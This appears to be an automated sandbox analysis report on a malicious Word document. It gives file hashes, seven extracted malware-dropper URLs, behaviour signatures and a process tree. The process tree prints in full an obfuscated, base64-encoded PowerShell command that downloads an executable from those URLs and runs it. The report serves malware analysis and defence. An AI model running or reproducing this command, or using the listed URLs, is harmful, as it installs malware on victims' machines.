Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    20/05/2024, 17:33

General

  • Target

    6054f42d57815b87c8c28e0fabb47d5a_JaffaCakes118.doc

  • Size

    180KB

  • MD5

    6054f42d57815b87c8c28e0fabb47d5a

  • SHA1

    6623d6a80a7ec1c8e831414b956d6ea0638f22e9

  • SHA256

    13aab947e9fdbb36ecff78349f1c9de33441db50e5de1f273a73ed0c2a539db8

  • SHA512

    32a326a40b33842114ef024c56f5b70876ad34be0d05c0d56404b315a099df6cb500a6d73cff0404915c018b2dd23b324197732fe9fadab5e8672ba6400e49d5

  • SSDEEP

    1536:uasrbYasrb2rdi1Ir77zOH98Wj2gpng9+a9/SGIRK9b/WYjd2LO6h/QC27TBvY:crfrzOH98ipgnSGYK9TngLOm27TBvY

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://sasystemsuk.com/index_files/j9b/

exe.dropper

https://case.gonukkad.com/sys-cache/fmC/

exe.dropper

http://vandamebuilders.com/wp-includes/OEyjc9x/

exe.dropper

https://nilinkeji.com/online/Dmz/

exe.dropper

http://paganwitch.com/wp-admin/CmubpSk/

exe.dropper

http://www.ekramco.ir/english/fn/

exe.dropper

http://votesteve.us/closed_zone/Bk/

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6054f42d57815b87c8c28e0fabb47d5a_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2884
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2176
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABRAGcAbgB1AHoAawBxAD0AKAAnAFkAJwArACcAMgAnACsAKAAnAHIAdQBqAGUAJwArACcAYQAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAFIATwBGAEkATABlAFwASgBIAEEAaQBOAEcARwBcAGUANwBwAFoANQBfAFcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAYABVAGAAUgBJAHQAYAB5AHAAUgBvAFQAbwBjAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAsACcAKQArACgAJwAgAHQAJwArACcAbABzADEAMQAnACkAKwAnACwAIAAnACsAJwB0AGwAJwArACcAcwAnACkAOwAkAEUANQBuADkAMQBzAGoAIAA9ACAAKAAoACcAVAAnACsAJwAxADQAJwApACsAJwBnAG4AJwArACcAMAAnACkAOwAkAFkAeQA5AGoAeAAyAHkAPQAoACgAJwBFAGkAJwArACcAdQAnACkAKwAnAGsAdAAnACsAJwBlADEAJwApADsAJABDADYAcABxAHMAZwBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAJwArACcAMAB9AEoAaAAnACsAKAAnAGEAJwArACcAaQBuAGcAJwApACsAJwBnAHsAMAB9AEUANwAnACsAJwBwAHoANQBfAHcAewAwAH0AJwApACAALQBmACAAWwBDAGgAYQBSAF0AOQAyACkAKwAkAEUANQBuADkAMQBzAGoAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABDADMANQBrAHcAMQB4AD0AKAAnAEIAJwArACgAJwA2AG4AJwArACcAOQAnACkAKwAoACcAZAAnACsAJwBnAHEAJwApACkAOwAkAEYANgBuAHIAbwBlADEAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AVwBFAEIAQwBMAGkAZQBuAFQAOwAkAEoAbABtAHgAbgB4AGMAPQAoACgAJwBoAHQAdAAnACsAJwBwADoAJwArACcALwAvACcAKQArACgAJwBzAGEAJwArACcAcwB5ACcAKQArACcAcwB0ACcAKwAoACcAZQBtACcAKwAnAHMAdQBrACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvAGkAbgBkACcAKwAnAGUAJwArACcAeAAnACkAKwAoACcAXwBmACcAKwAnAGkAbABlACcAKQArACgAJwBzAC8AJwArACcAagAnACkAKwAnADkAJwArACgAJwBiAC8AKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwArACgAJwBzACcAKwAnADoALwAvACcAKQArACgAJwBjAGEAJwArACcAcwAnACsAJwBlAC4AZwBvACcAKQArACcAbgAnACsAJwB1ACcAKwAoACcAawBrAGEAZAAuAGMAJwArACcAbwAnACsAJwBtACcAKQArACcALwAnACsAKAAnAHMAJwArACcAeQBzACcAKQArACgAJwAtACcAKwAnAGMAYQAnACkAKwAnAGMAaAAnACsAKAAnAGUALwBmAG0AQwAvACcAKwAnACoAaAAnACkAKwAnAHQAJwArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8AJwArACgAJwAvAHYAJwArACcAYQAnACkAKwAoACcAbgAnACsAJwBkAGEAJwApACsAKAAnAG0AJwArACcAZQBiAHUAJwApACsAJwBpACcAKwAnAGwAZAAnACsAKAAnAGUAJwArACcAcgBzACcAKQArACgAJwAuAGMAJwArACcAbwBtAC8AdwBwACcAKQArACcALQAnACsAJwBpACcAKwAoACcAbgBjAGwAdQAnACsAJwBkAGUAcwAvACcAKwAnAE8AJwApACsAJwBFAHkAJwArACcAagBjACcAKwAoACcAOQB4AC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcABzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBuAGkAbAAnACsAJwBpAG4AJwApACsAJwBrAGUAJwArACcAagAnACsAKAAnAGkAJwArACcALgBjAG8AbQAnACkAKwAoACcALwBvACcAKwAnAG4AbABpACcAKwAnAG4AZQAvACcAKQArACcARABtACcAKwAoACcAegAvACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAOgAvAC8AJwArACcAcABhACcAKQArACgAJwBnAGEAJwArACcAbgB3AGkAJwApACsAKAAnAHQAYwAnACsAJwBoAC4AJwApACsAKAAnAGMAbwBtAC8AdwAnACsAJwBwAC0AYQAnACkAKwAnAGQAJwArACcAbQBpACcAKwAoACcAbgAnACsAJwAvAEMAbQB1AGIAcABTACcAKwAnAGsAJwApACsAJwAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAoACcALwAnACsAJwAvAHcAdwAnACsAJwB3AC4AZQBrACcAKQArACgAJwByACcAKwAnAGEAbQBjACcAKQArACcAbwAnACsAJwAuACcAKwAnAGkAcgAnACsAJwAvAGUAJwArACgAJwBuAGcAbAAnACsAJwBpAHMAaAAnACsAJwAvACcAKwAnAGYAbgAvACoAJwArACcAaAB0AHQAcAAnACkAKwAnADoALwAnACsAJwAvACcAKwAoACcAdgAnACsAJwBvAHQAZQBzAHQAJwApACsAKAAnAGUAJwArACcAdgBlAC4AdQBzAC8AJwApACsAKAAnAGMAJwArACcAbABvAHMAZQAnACkAKwAoACcAZAAnACsAJwBfAHoAbwAnACkAKwAoACcAbgBlAC8AJwArACcAQgAnACkAKwAnAGsALwAnACkALgAiAFMAcABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBuAHAAOAAyAGEANAA9ACgAKAAnAEgAXwAnACsAJwBrACcAKQArACcAbAAxACcAKwAnADUAcgAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABOAGIAcgBnAG8AbwBoACAAaQBuACAAJABKAGwAbQB4AG4AeABjACkAewB0AHIAeQB7ACQARgA2AG4AcgBvAGUAMQAuACIAZABPAFcAbgBMAE8AQQBEAEYAYABpAGAAbABFACIAKAAkAE4AYgByAGcAbwBvAGgALAAgACQAQwA2AHAAcQBzAGcAbgApADsAJABCAHkAMQBvAHUAegBoAD0AKAAoACcAQQAyACcAKwAnAGkAJwApACsAKAAnADQAJwArACcAbgAxACcAKQArACcAeQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAQwA2AHAAcQBzAGcAbgApAC4AIgBMAEUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIAMAAxADkAMwApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACgAJABDADYAcABxAHMAZwBuACkAOwAkAEQAdwBnADEANABsAGMAPQAoACgAJwBKAF8AJwArACcAdwBxACcAKQArACcAbABzACcAKwAnAGgAJwApADsAYgByAGUAYQBrADsAJABMADcAcQByAGIANwBhAD0AKAAnAEYANwAnACsAJwBhADQAJwArACgAJwBhACcAKwAnAGMAdgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASAB0AHcAaQBsAGgAagA9ACgAKAAnAFEAcQBnACcAKwAnADEAJwApACsAKAAnAHYAMwAnACsAJwAxACcAKQApAA==
      1⤵
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2508

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      6f6a89dc76717988d9d571cf020d27a0

      SHA1

      89eeb0eb1a7de5d2d04e195e5665b7fd27f479e1

      SHA256

      08e60efbcf0f4ef5efdbd035ac359ef2ff0a5fdd193e9e81384823b4a221b4e5

      SHA512

      ac5b8d62fcce7e4916d116a604ed0291680353f0d0412611983fec469260cad909ee1fc7b4fc6bdc1a913cc25dadd473c682ce62db464970de237646c2b23085

    • memory/2508-40-0x0000000002AF0000-0x0000000002AF8000-memory.dmp

      Filesize

      32KB

    • memory/2508-39-0x000000001B450000-0x000000001B732000-memory.dmp

      Filesize

      2.9MB

    • memory/2884-19-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-7-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-11-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-10-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-8-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-17-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-16-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-14-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-15-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-13-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-12-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-9-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-20-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-22-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-21-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-0-0x000000002F421000-0x000000002F422000-memory.dmp

      Filesize

      4KB

    • memory/2884-25-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-18-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-6-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-27-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-23-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-29-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-28-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-32-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-31-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-30-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-26-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-33-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-24-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-2-0x00000000716FD000-0x0000000071708000-memory.dmp

      Filesize

      44KB

    • memory/2884-45-0x00000000716FD000-0x0000000071708000-memory.dmp

      Filesize

      44KB

    • memory/2884-46-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-48-0x0000000000720000-0x0000000000820000-memory.dmp

      Filesize

      1024KB

    • memory/2884-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2884-68-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2884-69-0x00000000716FD000-0x0000000071708000-memory.dmp

      Filesize

      44KB